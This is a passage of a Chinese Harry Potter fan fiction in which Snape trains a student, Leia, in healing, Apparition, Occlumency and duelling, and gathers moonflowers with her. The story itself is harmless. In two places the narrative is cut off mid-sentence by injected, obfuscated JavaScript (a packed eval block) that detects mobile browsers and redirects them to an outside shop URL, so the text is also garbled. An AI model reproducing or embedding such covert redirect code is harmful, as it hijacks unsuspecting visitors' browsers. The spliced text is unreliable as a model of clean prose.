他话音刚落,少女已经毫不犹豫地举起了自己的魔杖指向他的伤口,“请告诉我咒语,先生。” “……Vulnera Sanentur(速速愈合)。”斯内普咬着牙关说,“三遍。” “Vulnera Sanentur!”蕾雅迅速地喊出声来,随着她的声音,魔杖的尖端发出一道温暖的白光,斯内普松开了按住自己左肩的右手,让光芒覆盖在伤口上面。 “Vulnera Sanentur!”很神奇,正在淌出的部分血液开始回溯,斯内普忍着痛低哼了一声。 “Vulnera Sanentur!”第三遍咒语结束了,蕾雅连忙看向斯内普,他的呼吸平稳多了。 她又慌忙给他递去一条毛巾,斯内普擦过了手上的血污,从她的手里抽回了自己的魔杖,举起来大幅度地挥了一圈。紧接着,整个办公室就像被触动了机关一样,所有的魔药都倒流了回去,所有的羊皮纸与玻璃都重新归一,家具再次变回了原样,沉思盆也默默地躺回到了他的桌上。 “起来。”他对她说道。 蕾雅顺从地站起身,不敢有多一句的话。 斯内普稍稍转动自己的左手腕,然后是肩膀,发现确实不怎么痛了以后,就站起了身。 “坐下,把自己的伤治好。”斯内普恢复了往常的模样,命令着。 紧张情绪消散的瞬间,一阵刺痛感正从膝盖蔓延至蕾雅全身,她点了点头就坐了下来,先将那些玻璃碎片从自己的伤口里剔除出去,再慢慢地涂上白鲜。药水的刺激使她龇牙咧嘴了好一会儿。 等完成了这一切后,她将药水的盖子拧紧,垂下脑袋说,“真的很对不起,教授。我真的不是故意的……” “停止你的道歉,莱恩哈特。”斯内普的声音从她头顶上传来,他闷声说着,“我说过,你可以用任何其他的方式阻挡我的入侵。” “可是我真的没想过会伤害您。”她说。 “是,你没想过会伤害我!可是你的抵抗情绪如此强烈。”斯内普然后抱着双臂直视着她,他冷笑一声说道,“你不知道你为什么会有这么强烈的情绪吗?” 蕾雅呆呆地看向斯内普,诚实地摇了摇头。 “因为我窥探了你的秘密。”他继续说着,声音像是冰刃一样,又冷又硬,“我警告过你,不要对我抱有任何可笑的、不切实际的幻想。” “我…”她小声地喃喃着,“先生……这并不是我能控制的。” “你连这种情绪都控制不了的话,更不可能学会大脑封闭术。”他冷漠却又咄咄逼人,“再让我看见这些东西,我会立刻对你用遗忘咒。我不需要你这种学生来操心我的事。” 蕾雅蓦地看向斯内普,只见黑发巫师的耷拉着嘴角,眉毛紧紧地压在双目之上,脸上的表情看不出来是愤怒亦是厌烦。但有一样东西她很肯定,斯内普说每字每句都是认真的。 她安静地抽回目光,有些落寞地点了点头,轻声呢喃着,“我记住了,先生。” 斯内普看见少女的眼里好像有什么东西熄灭了,也注意到了女孩的纤细的手指正绞在一起,她的身体正在微微发抖。 但他并不在意,甚至为此感到满意。他知道这正是他希望的——他不需要他的身边有任何人,更不需要任何人的关心、怜悯或者同情。 “把你的魔杖给我。”斯内普决定将话题转移,摊开手正对着她。 少女没有再抬头了,举起手来将魔杖递给了他。 在接触到她魔杖的那一刻,斯内普清楚地感到有一股魔力从这根魔杖传递了过来。他饶有兴致地眯了眯眼睛,掂量了一下灰白色的杖身。 “银椴木制,杖芯是什么?”他冷淡地问道。 “狮鹫翎羽,先生。”她没什么精神地回答着。 “狮鹫羽毛?”斯内普的声音里有些疑惑,但很快又变得平淡,“我没听过这种材料。” “奥利凡德先生也说这很稀有,因为狮鹫已经在魔法界消失很久了。”蕾雅用平静的声音解释道。 “特性是什么?” 蕾雅想起了当时雷格纳牵着她去对角巷买魔杖的场景,雷格纳当时听见奥利凡德的话高兴了几天。 ——“噢,莱恩哈特先生。蕾雅小姐以后绝对是一个出色的巫师,而且非常擅长保护别人,这正是狮鹫翎羽杖芯的特质。”奥利凡德的眼里闪烁着兴奋的光芒,他摩挲着灰白色的魔杖,又说道:“这支魔杖已经等待很久了,我想想,至少有二十年了。” 收回记忆,她缓缓答道,“魔力强大,擅长守护,忠诚度高。” 听完她的话,斯内普捏着魔杖轻笑了一声,“忠诚度高?我不见得。” 蕾雅讶异地再次抬起头来,只见这位魔药大师勾着嘴角,轻轻挥动着她的魔杖,书架上几本书顺着他的魔力晃晃悠悠地飞到她的膝上,整齐地垒成了一叠。 随后,他挑了挑眉,仍然保持着那似笑非笑的表情,将她的魔杖按在这叠书上,“今天到这里,晚上也不用来了。把这些带走,后天早上开始练习幻影移形,我劝你先预习一下它的原理。” 蕾雅沉默着将魔杖收起来,又把书抱在怀里,起身走向门口。 “后天见,先生。”低声说完,就头也不回地打开门离开了。 她离开以后,斯内普用魔杖谨慎地锁上了门,虽然他知道这个时候的霍格沃茨不会有任何人打扰他,但他还是习惯性地这么做了。他走向沉思盆,将那几段思绪重新放回自己的大脑里面,而后回到了自己的卧室。 斯内普将那身沾满血污的黑袍脱下来,站在镜子前仔细地观察着刚刚受伤的左肩,发现它们都已经全然愈合了,一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593429|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹也没有。少女的咒语细致得就如他自己亲自施展的一样。 奥利凡德是对的,确实擅长治愈魔法。 接下来,斯内普转了转自己的手腕,举起了魔杖指向面前的四柱床。 “Sectumsempra。” 随着他的声音落下,四柱床瞬间轻轻颤动了一下,下一刻便轰然倒塌成了坍圮,斯内普皱着眉头扫了一眼周围,发现只有床变成了碎块。 他又试了几次,最大的范围不过是波及了床头柜。 神锋无影本来就是精细的魔法,初衷是撕裂单个目标而不是造成大范围的伤害。 斯内普将卧室恢复成原本的样子,坐在床边上皱了眉想了一阵,发现自己还是无法合理地解释刚刚在办公室发生的一切。 也许是因为那根魔杖?是因为狮鹫翎羽? 强大,守护,忠诚。 ——说起忠诚。 虽然他不曾听过狮鹫翎羽这种杖芯,但狮鹫这种生物他还是熟知的,毕竟校长室旋转楼梯下就放着一只。这种生物自古以来就是被用作守护宝藏或者险要之地的,忠诚肯定是其最宝贵的特性之一。 斯内普知道自己刚才是故意嘲讽她的,并不是她的魔杖不忠诚,而之所以他也能使用那根魔杖,完全是因为他跟她的魔杖相性极好。银椴木制魔杖本身就意味着使用者对摄神取念、大脑封闭术这种魔法有极高的天赋,这点也跟他本人一样。 但这种情况在整个巫师届都是很少有的,他清楚得很。 他不得不再一次确定邓布利多是对的,当然了,最伟大的白巫师总是对的,这根本毋庸置疑。一想到这里,一股恶寒就从胃里窜了出来,他很快停止了这一切的思考。 斯内普站起身翻出了一身干净的衣服换上,重新回到办公室,走进壁炉里准备奔赴下一场工作。 当他抓起飞路粉的那一刻,他突然想起来少女刚刚失落的样子。 这样就很好,用不了几天,她就会放弃了。他想到。 啊,忘记算她偷偷把教材带出去的账了。他又想到。 …… 将那叠书搬回公共休息室以后,蕾雅就尝试着让自己忙碌起来,比如说开始阅读那本写着幻影移形原理的书籍或者那堆写着大脑封闭术实践经验的资料。 可是无论她怎么努力,都没办法静下心来看进去。 ——“你连这种情绪都控制不了的话,更不可能学会大脑封闭术。” ——“再让我看见这些东西,我会立刻对你用遗忘咒。” 这简直,简直就是令人难过。 更令人难过是,偏偏就是那些记忆的主要参与者说要消除这些记忆。 她知道斯内普是认真的,他就是那样的人,他可以不动声色地消除自己不必要的感情。 她当然不愿意丢失这些记忆,明明正是因为这些记忆她才找到了前进的方向。她本就不奢求什么,却没想到连压在心底也不被允许。 蕾雅缓缓垂下眼眸,一颗浑浊的圆打在泛黄的书页上。她慌乱地将书拿开些,才抬手抹了抹自己的眼下,但是无论她怎么努力拭去这些液体,更多的就涌出来了。 ——“我持保留意见,你肤浅的决心将很快会被摧毁。” 她忽而觉得他或许是正确的。 蕾雅将书推到了一边,在沙发上蜷缩着,把头埋进双膝大声地哭了出来。 她从来、从来没有这么难受过,从来没有这么喜欢又这么讨厌一个人过。 她恨他的强大、恨他的洞察力、更恨他那颗几近零度的心——可是,也正是这些品质让她仰慕他,也是这些品质才能够让他在这场战争里活下去。 她知道。她也知道斯内普希望她知道。 那么,至少允许她最后一次在这里发泄着自己的情绪吧。 等哭过以后,她会好好地去看大脑封闭术实践经验,会好好地看幻影移形基础原理,会按照他说的一切去做。 她需要更强大些,才能守护住自己的宝物。 20. 月露花 “幻影移形是一种实用却复杂的魔法。使用幻影移形的巫师必须对自己目的地有清晰的认知,稍有不慎,有可能导致分体、重伤、甚至死亡。”(1) “使用幻影移形需要牢记三个口诀:目标 (Destination)、决心 (Determination)和从容 (Deliberation)……”(2) 蕾雅正坐在格兰芬多公共休息室的地毯上,斜靠着壁炉前的沙发,几个抱枕和一盏台灯围绕着她。她仔细地阅读着斯内普给她的书,轻轻念出声,又拿出自己的笔记本,用麻瓜圆珠笔抄下这三个单词。 好吧,这并不难理解,可是实际上怎么操作还是令人疑惑的。难道只要有清晰的目的地和坚定的信念就能成功传送?如果真是这样的话这听起来也没有多难…… 蕾雅一边想着,一边又念了三遍这些枯燥的话,最终还是叹了口气,选择换过了一本书。 “大脑封闭术用于封闭自己的思想,防止被摄神取念窥探……”(2) “那些大脑封闭术大师们总是会被人认为是深不可测、冷淡无情的存在。”读到这里,蕾雅用力地点了点头。 “其实,人们总对大脑封闭术保持着一种错误的认知,比如说,有的人一直以为这种技能可以让人暂时封闭自己的情感。但事实上正是反过来,训练者必须在练习过程中一次又一次地将自己的情感搅碎,不去思考,不去回忆,不去感觉——最终做到不动声色地丢开所有的感情。” 啊…… ——“你连这种情绪都控制不了的话,更不可能学会大脑封闭术。” 原来,斯内普的话是这样的意思。他之所以能如此磨灭情感,想必也是经过这样的一个阶段。 “不去思考,不去回忆,不去感觉。”蕾雅抱着书躺在公共休息室的沙发上,喃喃道,“清空一切……” 虽然道理已然明了,但这对总是在思考乱七八糟事情的少女来说无疑是困难的。蕾雅撇了撇嘴继续翻过一页书,紧接着,她就突然坐直了身。 “实际上,那些高阶的大脑封闭大师们通常仅仅选择封闭自己特定的记忆片段,任由一些无关的情感与思想自然流出,这也正创造出了一种难以分辨的幻象,以真相掩埋真相。” 是这个!蕾雅瞬间就意识到——比起抛开一切感情,显然是以真掩真的做法显然更适合她,毕竟她的大脑时时刻刻都在思索着繁多的事物。 下一个瞬间,她就意识到斯内普能够成功成为邓布利多布置在神秘人身边的棋子,不但因为他能不动声色地抛开自己的感情,也正是因为他擅长以无关的真相掩盖重要的真相。 这种顿悟的感觉是美好的,但空无一人的格兰芬多休息室就不一定了。 第一天留在霍格沃茨的晚上,蕾雅在公共休息室的沙发上抱着书睡了一夜,只有魔法烛火和窗外寂寥的星空安静地陪伴她。 第二天,她一个人在公共休息室里将这两本书来来回回又看了一遍,开始尝试准备一些用于大脑封闭术的记忆片段。晚上,她仍旧睡在公共休息室的沙发上。 第三天也是个大晴天,还不到六点,灿烂的阳光已经灌满了整个格兰芬多休息室。睡得朦朦胧胧的少女皱着眉翻了一个身,无意识地将一条手臂放在自己的眼睛上面挡住光,再次睡了过去。 一个半小时后,送早餐来的拉比轻轻唤醒了她。 “早安,蕾雅小姐。”拉比将早餐放在她面前的桌子上,给了她一个大大的笑容,“蕾雅小姐怎么睡在沙发上?” “哦早安,拉比。”蕾雅揉着眼睛,试图转动一下自己睡得有些僵硬的腰。怀里的书随着她松开的手掉了下去,但是拉比很快地接住了书,她连忙道谢。 “今天的早餐,拉比希望小姐喜欢哦。”小精灵点着头指向桌上的早餐,露出得意的笑容,茶几上正放着一盘薄饼配上切得很细的熏肉和酸奶,旁边还有一小碟新鲜的莓果。 “谢谢你,这看起来太丰盛了,拉比。”蕾雅露出一个微笑,看向小精灵,又说道,“就是,虽然这个请求可能有些奇怪,我能要点咖啡吗?” “当然,我的小姐。”拉比一个响指就消失在空中了。 一分钟后,拉比就带着一壶香浓的咖啡和一个精致的咖啡杯回来了。小精灵小心翼翼地将咖啡壶放在茶几上,又递给蕾雅一个带有霍格沃茨校徽的杯子。 “谢谢你,拉比。”浓郁的咖啡香让少女觉得自己也变得精神了些,她接过杯子后就倒上了满满的一杯,抿了一口。 “斯内普教授每早都要喝咖啡,拉比早上一定会煮咖啡的。”拉比的眼睛闪烁着快乐的光芒,显然很自豪能够满足她的需求,“那么拉比祝蕾雅小姐有愉快的一天。” “真的很谢谢你,辛苦啦。”她眨了眨眼,开始吃早餐。 果然,魔药学教授的办公室里的确弥漫了一股淡淡的咖啡味,她在走进来的那一刻就敏锐地闻到了。 “早上好,教授。”在那些咖啡气味里,她看见了他有些疲惫的神色,想着他可能昨天工作得很晚。 “在旁边等我。”斯内普坐在办公桌的后面,背着光,看起来似乎正在写一封信。 蕾雅安静地走到那把椅子上坐下,将笔记本摊开放在自己的腿上看着,脑海里开始默想着昨天看过的原理以及用于大脑封闭术的记忆。 斯内普写完了信,打开窗户唤来猫头鹰寄了出去,几乎是与此同时,他瞥见一只斑点角鸮正在耀眼阳光下朝这个方向飞来。斯内普侧过头看了一眼椅子上的少女,她仍低着头沉思着,似乎没有注意到这边的情况。斯内普将窗户又打开了些,斑点角鸮正正地落在他的窗台上,抬了抬右腿,上面绑着一封信。斯内普将信封取了下来,看了一眼便往室内走去。 “你的O.W.L成绩单,莱恩哈特。”他走到她的身前,递给她。 “啊!谢谢您。”蕾雅倒是很吃惊,接过来后不知所措地看着他,不知道该不该打开。 斯内普看穿了她的想法,没什么感情地说道,“我可以告诉你,所有的教授最终都会得知每一个学生的成绩。” “好吧。”蕾雅接过信,在手里犹犹豫豫地看了一阵,才撕开封口抽出里面的羊皮纸。随后她惊呼一声,“啊教授,我魔药学和黑魔法防御术都是O诶。” 你看,快乐有时候就是很简单的。简单到可以让人瞬间忘记,正是面前人让自己前晚如此难过。 “嗯。”斯内普冷淡地应着,并不觉得奇怪,在近乎一学期的指导后,他当然对这位学生的成绩早有清晰的预判。运气好便会是O,平常发挥也会有E,大差不差。至于黑魔法防御术也并不奇怪,毕竟那是她父亲的主业。 魔咒学和变形术都是E,草药学、魔法史却只有踩线的A,占卜术考了个P,不过这都还合乎她自己的预期。看过以后,蕾雅迅速地将信收了起来,因为她发现斯内普已经拿着魔杖站在她的面前了。 “所以你现在可以兴高采烈地开始今天的训练了吗?” “啊,是的,先生。” 斯内普领着她走出了城堡,一路走到正冒着热气的草坪,蕾雅再次把自己的头发束起来,抬起手来遮挡着一些落在自己脸上的滚烫光线。 斯内普在正门外的一棵树下停了下来,她也停在离他不远处。热烈的阳光擦过那些茂盛的枝叶,形成的大片光斑落在他们身上。 “我设想你应该已经进行了充分的预习吧?”斯内普冷冰冰地打量她,“幻影移形的诀窍是什么?” “目标 (Destination)、决心 (Determination)和从容 (Deliberation)。”蕾雅将已经熟记在心里的口诀说了出来。 “不要照本宣科,说你自己的理解。”斯内普不耐烦地说。 “要对目的地有清晰地认知,相信自己的每一个部位都能传送过去,把身体尽可能放空。”她认真地说道,然后看向他。 斯内普微微颔首,将他的黑色魔杖拿在手里,“那就开始吧,下一棵最近的树。” “就这样?”蕾雅依旧很疑惑地看向他。 斯内普用漠然的眼神表明了他不会再有更多的说明。 蕾雅深吸一口气,从口袋里拿出自己的魔杖捏在胸前,眼神死死地盯着下一棵树。那是一棵年轻的白桦树,枝叶还未来得及长得繁茂,树干也未来得及变得粗壮,光滑而洁白的树皮上有斑斑点点的黑色印记。 她吞咽了一下,努力地将注意力放到那棵树上,用眼睛描绘着它的轮廓。 请将我送过去,梅林先生。她想着。 放空身体—— 蕾雅感觉到一阵轻微的眩晕感袭来,肚脐仿佛被一股奇怪的力量揪住了。然而等眩晕感褪去,她还站在原地,什么都没有发生。 “再来一次。”斯内普干巴巴地说。 她按住自己的太阳穴,重新将目光放在那棵树上。那种勾住肚脐眼的感觉又袭来了,她发现自己正在原地旋转,几乎是同一时间,她就摔倒在了地上,屁股生生地跌疼了。 “再来一次。”斯内普甚至没有看她。 蕾雅揉了揉臀部才重新站了起来,更加专注地凝视着那棵白桦树,眼睛一点点地去勾勒它身上的黑色印记。 “把身体放空。”斯内普的声音从她身侧传来。 放空—— 斯内普看见少女的裙子开始旋转,旋即连带着她的身体一起,他知道她这一次成功了。只是,下一秒,他瞥见一个小小的旋涡倏地显现在对面的树干里,斯内普一惊,迅速地举起魔杖指向那棵白桦树—— 伴随着“砰”的一声,蕾雅的双脚重新站在大地上面,同时,她发现斯内普脸色阴沉地站在几米开外用魔杖指着她。她在眩晕感里环视了一下周围,很确信自己确实移动了一段距离,但刚才那棵有很多黑色印记的白桦树却不见了踪影。 “回来。”斯内普的话打断了她的思绪。 有了第一次的成功,回去倒是顺利的多。蕾雅想着斯内普面前的空地,毫不费力地就再现了刚才的专注,下一刻就轻松地出现在斯内普身侧。 等站稳了,她忐忑地看向他。 “怎么,难道要我给你点嘉奖吗?”斯内普注意到了她的目光,没什么好脸色地说道。 “不是,我想问我做得对吗?”蕾雅移开了些视线。 “如果你不想因为卡在建筑物里死去的话,我建议你的目的地选得更聪明一些。” “好……”她突然意识到那个白桦树发生了什么了。 “听好了,在不太熟练的时候,不要试图传送过远的距离。” “我记住了。”她小声地说道。 “等开学通过了幻影移形考试,你才能在别人面前使用,明白吗。”斯内普继续叙述道,“在此之前,除非遇到生命危险,不要使用。” “好的。” “回正门去。”斯内普话音刚落下就消失在了空气里。 蕾雅愣了愣,对着他方才站着的地方点了点头,在自己的脑海里勾绘出霍格沃茨雄伟的正门——前的那块空地。下一个瞬间,她发现自己稳稳地落在了那里,斯内普就在不远的地方,正抱着双臂站在毫无遮挡的艳阳底下,垂在他身侧的黑色纤维布料在阳光下反射出一种细微的光。 她朝他走了过去。 “记住这种感觉。”斯内普眯了眯眼睛,转过身去迈开步子,“现在,我建议你回去公共休息室整理一下你那糟糕大脑。” “好的,先生。”蕾雅知道他的意思是上午的练习结束了,应道,“下午见。” 那天下午的大脑封闭术训练也算是比较顺利,她没有再拿起魔杖指向教授,而是纯粹地以意志力去抵抗摄神取念。虽然她并不能成功将斯内普阻挡在她的大脑之外,但至少也没有再让他看见那些糟糕的幻想。 她让他看见了今天的早餐、小精灵拉比、自己家里种的绣球花、格兰芬多公共休息室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二周的某个夜晚,斯内普意外地没有让她待在办公室里,而是让她前往了霍格沃茨北门。 比起白天的干燥闷热,霍格沃茨的仲夏夜晚倒是有些潮湿,头顶上的天穹是一片盛大的旖旎,月亮将朦胧的银白色洒向大地,远方沉着青色的山脉也被镀上了一层神秘的浅白。而面前的男人大步踩在那像碎银的鹅卵石小径上,温柔的风轻轻地将他的黑袍浮在这梦幻的夜色里。 “跟上。”斯内普侧过头来对她说,他的声音轻的像是怕惊扰了这安静的夜。 “嗯。”蕾雅低声应着快步跟了上去,走在他的身侧,感觉到他放慢了一些脚步。 两个人举着荧光闪烁的魔杖进入了夜晚的禁林,幽深交错的树影正随着微风沙沙作响,显得四周更寂静了,只有一些轻微的虫鸣声在耳边低语。 “先生,我们这是去?”少女谨慎却又疑惑地问身边的魔药学教授。 “既然你偷看了我的书,那我假设你看到过书里记载的月露花吧。”斯内普淡淡地说着。(4) 蕾雅愣了一下,旋即在脑海里搜索着相关的记忆,缓缓地答道,“开在盛夏的夜里,可用于活地狱汤剂?” “看来你的大脑还算有点用处。”斯内普说,“还可以用作清醒剂、记忆药水、部分特殊治疗药水。” “那我们是要去採月露花吗?”蕾雅问他。她没有想到这个暑假的训练竟然还包括这种活动。 斯内普轻哼了一下,算是回答了她。 他们不再说话了,只有脚步声陪伴着他们一直走到禁林深处,穿过那些茂密的树干后,一汪闪烁着光的小湖逐渐出现在眼前。 走近了她才看见,那些光芒竟然是萤火虫的所发出来的。 湖面静谧地倒映着漫天的星空与月影,萤火虫簇拥在一起掠过水面,宛如形成了一条荧光的河流跃动在空气里,与璀璨的繁星一同照亮着人间的夜。 那些明明灭灭的暖光又落在湖边的植物上,有大片的月露花开在那些苍劲的古树下,淡银色的花瓣细长而半透明,透出的微光也像夜空里孤清的月。 再远些,两只月痴兽在湖的对侧,倚着花丛,懒洋洋地依偎在一起。 “啊……”蕾雅停住了脚步,看得出了神,不由地叹出了一声。 斯内普注意到了她的动作,也跟着顿住了脚步。他本不觉得这景色有多么美好,因为他已经见过太多次了。但是他停顿在那里,仿佛在等待着什么,过了一阵才慢慢地抽出魔杖,从自己的魔法口袋里召出两个魔药材料筐。 他顺手递了她一个,“小心不要破坏花瓣。” “好的,先生。”蕾雅接过筐子,朝他微微一笑就跑到树底下去了。 斯内普熟练地挑拣着月露花,将它们整齐地放在筐里,又在树底下发现一些白鲜和香锦葵,也一并采摘了下来。等筐子已经塞不下了,斯内普起身站在湖边上,正看见对侧的少女俯身认真地以魔杖切割着花茎,萤火虫萦绕在她身侧,灯笼一般的幽光摇曳着又长明不熄。那景象有些不像他平日的学生,更像是森林里一种氤氲的幻象。 他耐心地等她一点点用泛着淡光的月露花把筐装满。 回去的路上也是一路的沉默,等差不多走到霍格沃茨的城堡的时候,蕾雅突然开口道:“教授,它们太美了,谢谢您带我去。” “嗯。”他平淡地答道。 “要是我们的草药课有这么有趣就好了。”她又感慨道。 “我会向斯普劳特教授建议的。” 她又小声地说了一句谢谢。再往前走了一阵,侧过头来恳切地看向他说道:“先生,如果您要处理这些材料,我可以来吗?或者……还有没有别的魔药材料我可以来帮忙处理?您知道,一个人呆在公共休息室真的有些难受。” 斯内普看了她一瞬,抿着嘴继续走进城堡,等一直走到了不再同路的台阶前,他才开口道:“我知道了。” “谢谢您。”蕾雅将手里装满月露草的筐递给了他,眼眸温暖而明媚地直视着他: “晚安,教授。” 那天晚上,蕾雅发现自己可以安然地独自睡在寝室里了。 (1)移形换影、幻影移形、幻影显形……我知道我知道,我反正统一一下称为幻影移形了。 (2)(3)(4)参考至哈利·波特中文维基。 21. 成长 说实话,斯内普当然设想过她不会放弃,毕竟他很清楚这家伙执着得很,但是他确实没设想过她会进步得如此快。 在训练开始的第四周周二,这个格兰芬多少女已经熟练掌握了幻影移形和大部分六年级学生该学的魔咒,也变得能逐渐将他的摄神取念挡在外面,这让他不得不在每次训练里加大着力度。 斯内普再次开始推测邓布利多到底对她说了什么话能让她有这么大的决心。但就任他怎么在她的大脑里翻找,也没有找到任何有关的线索。 此时,斯内普面无表情地观察着面前正安静看着自己的少女,决定不再去纠结这些事。他缓缓放下手上的魔杖,对她说道:“听着,身体情况越虚弱,大脑封闭术就越容易被破开,永远不要愚蠢到让自己落入那个境地。” “我记住了,先生。”蕾雅答道。 “现在,我认为我们已经不需要更多的理论模拟了。”斯内普将魔杖收回自己的长袍里,站起身来,示意她跟上。 斯内普带着她来到了霍格沃茨的正门,站在阳光底下重新抽出他的魔杖,“听说过决斗俱乐部吧,莱恩哈特小姐?” 少女一愣,不清楚他为什么突然提起这个东西,只能答道:“当然,我记得二年级的时候是您和洛哈特老师一起给我们示范的。” “哦,是有这么一回事。”斯内普随口一答,似乎这个记忆片段对他来说不值一提。他慢悠悠地转动着手中魔杖,对她说,“现在,让我们来看看你到底掌握了多少。就像决斗俱乐部一样,你可以用所有你能想到的办法全力攻击我。” “所有办法?”蕾雅讶异地看着他,脑海里想起来之前因为自己而受伤的斯内普。 “是,任何你能想到的魔咒,”斯内普的上嘴唇微微卷着,但很难说他到底是在笑还是在嘲讽,“只要你的魔咒能伤害到我,那我就认为你足够合格了。我劝你不要奢望这会跟你第一次大脑封闭术课一样。” “……好的,先生。”她答。 “别回答得这么轻飘飘,我建议你做好心理准备。”这下是讥讽的语气了。 蕾雅缓缓地走到斯内普的对面,也抽出自己的魔杖,刚举到胸前—— “昏昏倒地。”随着斯内普的声音,直接飞来了一道红光,蕾雅本来还在茫然的状态,被他的攻击吓得无意识地一屁股坐到了地上,幸运地躲开了攻击。她刚站起身,又一道红光,她以防护咒勉强将攻击挡了回去,再次因反作用力摔在地上。 “唔。”她疼得哼出一声,但就在缓过气的那一瞬间,又一发攻击扑面而来,她再次捏紧手中的魔杖,放出防护咒将攻击挡在自己的面前。 “你应该知道我不是在开玩笑了,起来。”斯内普的声音低沉而又平静,仿佛就只是在叙述着怎么调配一锅轻松平常的魔药,“我认为你可以做得更好,我让你攻击我,不是让你一味躲避。” 蕾雅这边却完全没有这种轻松的氛围,她慌忙躲掉他的两发攻击,艰难地跑出了他视线的方向,举起魔杖朝他喊道:“昏昏倒地!”但毫无疑问,那道红光被斯内普轻轻一挥就拨开了。就在斯内普的下一道攻击扑来的同时,她咬着牙,一个幻影移形离开了原地。 她出现在他的身侧,迅速举起了魔杖指向斯内普。“速速禁锢!”斯内普一个优雅的侧身就闪过了她的攻击,他勾着嘴唇慢悠悠地说道,“很聪明,这该是巫师有的战斗方式。”随后,他稍稍一转手腕,压着声音说道:“但永远,不要将自己暴露在对方的攻击范围之内。” 蕾雅惊恐地看着自己的几缕头发被一束擦过胸前的白光切断在空气里,与此同时,一记毫无感情的“速速禁锢”随着斯内普的轻挥放出,她猛地回神,迅速地以幻影移形离开了原地。 就在双脚勉强地碰到地面的一瞬间,她瞥见了黑袍骤然出现在自己的斜后方,旋即,一道白光直冲她而来,她凭着本能一个翻滚,刚刚身下的石砖顿时被弹飞了几米。 毒辣的太阳打在她已经满是汗水的脸上,她的手上、裙子上全是尘土,身上的肌肉也在叫嚣着疼痛。 斯内普可真的一点也没有手下留情啊。她想到,振作精神重新看向他。 斯内普站在她的对面,黑袍跟他本人一样深不可测地沉在凝重的空气里,他的表情冷漠如冰,身上干净得一点痕迹都没有。他又慢慢地举起魔杖,“这已经是你的极限了吗,莱恩哈特?别告诉我,我训练了你三周,你连像样攻击都做不到。” “不。”蕾雅的眼里多了一些决心。 她抬手胡乱抹掉快要滑入眼的汗,紧紧地捏住自己的魔杖,她大喊一声:“这不是我的极限!” “那就继续。”斯内普懒洋洋地说道。 一道强烈的红光正从蕾雅的魔杖尖端迸出—— 就在斯内普随意地抵消掉这道攻击的同时,蕾雅一个幻影移形出现在了他的身后,“除你武器!” 一层防护咒淡光出现在斯内普的身侧,就在那光芒消失的瞬间,面前的黑发巫师消失了,很快便再次出现在她不远的地方,她迅速地再次移动到他的身侧,先是左边,斯内普看了过来,然后她瞬移到右边,举起魔杖,“除你武器!” 斯内普轻笑一声,用防护咒抵消掉攻击的同时,再次闪现到她的身后,“速速禁锢。” 刚刚使出攻击的蕾雅来不及调整自己的姿势,仍然有些僵硬的身体一个仄歪跌落在地上,斯内普扔来的束缚咒无情地缠上了她,动弹不得。 “再来!”斯内普冷冷地吼了一句。束缚咒解开了,她跌倒在地上,斯内普却不以为然地以冷硬声音说道:“只依靠力量是不够的,莱恩哈特。你需要策略。” 蕾雅疼得皱起了眉毛,吃痛地爬起来,谨慎地盯着他的动作,但对方只是如往常一样从容地站在那里。 怎么办呢,很显然,斯内普的洞察力太强大了,任何直冲他的攻击都会被抵消掉——有没有什么东西,能干扰他? 她的大脑正在飞速地思考,眼睛飞快地扫视着他身边的环境。 唔—— 斯内普顺着她的目光稍稍侧头,他意识到这个女孩或许有了主意。他挑着眉看向她,心里有了一些对于她会使用什么策略的期待。 “教授,”蕾雅站直了身子,微笑着提高了些音量朝他喊道:“您不觉得今天太热了吗?” “……什么?”斯内普因为她的话而眉毛一皱,就在那疑惑的一瞬间,眼前的人倏地消失了。他攥紧魔杖,小心地警惕着所有朝他而来的攻击。 但下一刻,他发现女孩出现在了霍格沃茨正门的石柱上方,还没来得及思考她想要做什么,只见她的魔杖重重的落下,随着一声“清水如泉”,巨大的水柱凌空出现,正要砸向站在底下的斯内普。 斯内普勾了勾嘴角,闪现在她的身后,蕾雅回头朝他一笑,手腕一转,正门后方喷泉里的水也顺着她的指向奔涌而来,她忽而又消失了,水流直直地朝斯内普的方向袭去。 斯内普的眼中闪过一丝赞许,抬手将即将包裹他的水花变为了虚无,就在那个地方,蕾雅也闪现了出来,两道水流朝他们站着的方向扑来,一前一后的形成了一个包围圈。 “昏昏倒地!”她的魔杖无情地指向他,全然不顾自己已经濡湿的校服。 斯内普错开脚步,以防护咒挡掉了她的攻击,瞬移到了地面上。 “速速禁锢!”她再次出现在他的另一侧,攻击比之前更急速、更猛烈。 斯内普再次躲闪掉了她的攻击,黑袍已经被水流打湿。 此时,空中的两股水流逐渐形成了一个漩涡,在阳光底下变得金光灿灿的,蓦地倾泻而下,重重地砸在斯内普的防护咒上面。就在斯内普准备幻影移形逃出的同一时间,蕾雅出现在他面前的水柱里面,魔杖对准了他——“除你武器!” 斯内普愣了一下,却宛如走神般回过头,手上的魔杖随着她的声音飞了出去。 但是蕾雅没有预料到他会被缴械,下一个攻击已经在魔杖的尖端跃了出来——她吓得立刻移开了魔杖,红光擦过斯内普的耳侧,飞了过去—— 就在那里,伴随着幻影移形的爆裂声,空气被一道蓝光切开,红色的光芒被轻松地弹开了,与此同时,两个错愕的人被扑腾而下的水流瀑布淋了个满身。 “唔。”一个平静而有力的声音响起,“我没想到会遇见这一幕,我是否该感谢两位对我们历史悠久的正门手下留情了?” 邓布利多站在那里看着两个被淋得湿透的人,他悠然地捋了捋胡子,像是在看一出好戏一样,半月形眼镜后面的眼睛透出意味深长的光。 “看来训练成果不错啊,西弗勒斯。”紧接着,他稍稍挥了挥左手,所有的水流都消失了,两人身上的衣服也变得干净而整洁,就像是没有发生过任何事一样。 斯内普沉默地整理了一下自己的袍子,准备去捡自己的魔杖。 